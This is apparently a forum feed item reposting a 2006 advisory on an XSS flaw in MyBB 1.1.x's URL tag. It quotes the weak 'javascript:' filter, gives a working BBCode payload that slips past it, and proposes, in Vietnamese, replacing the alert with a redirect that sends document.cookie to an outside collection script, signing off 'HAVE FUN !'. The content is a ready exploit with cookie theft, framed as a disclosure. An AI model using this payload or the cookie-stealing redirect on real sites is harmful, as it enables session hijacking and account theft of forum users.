<![CDATA[Latest posts for the topic "MyBB 1.1.4~function_post.php XSS Attack In URL tag"]]> /hvaonline/posts/list/13.html JForum - http://www.jforum.net MyBB 1.1.4~function_post.php XSS Attack In URL tag http://www.mybboard.com Versions: 1.1.3 Class: Remote Status: Patched Exploit: Available Discovered by: imei addmimistrator Risk Level:low-medium ======================== {inc/functions_post.php}near 138 function fixjavascript($message) { $message = preg_replace(”#javascript:#i”, “java script:”, $message); /* …….. */ {alos near 19} $message = preg_replace(”#&(?!\#[0-9]+;)#si”, “&”, $message); // fix & but allow unicode ========================= Khai thác : Post bài viết với nội dung : Code:
[url]javascript:alert(’Are you chicken ?’);//://ddd[/url]
Nếu như thay cái alert kia thằng cái 'window.localtion=http://domain.com/ghi.php?mybb='+document.cookie <== Vãi tội. nguyên bản : http://myimei.com/security/2006-06-22/mybb-114-function_postphpxss-attack-in-url-tag.html HAVE FUN !]]> /hvaonline/posts/list/596.html#2018 /hvaonline/posts/list/596.html#2018 GMT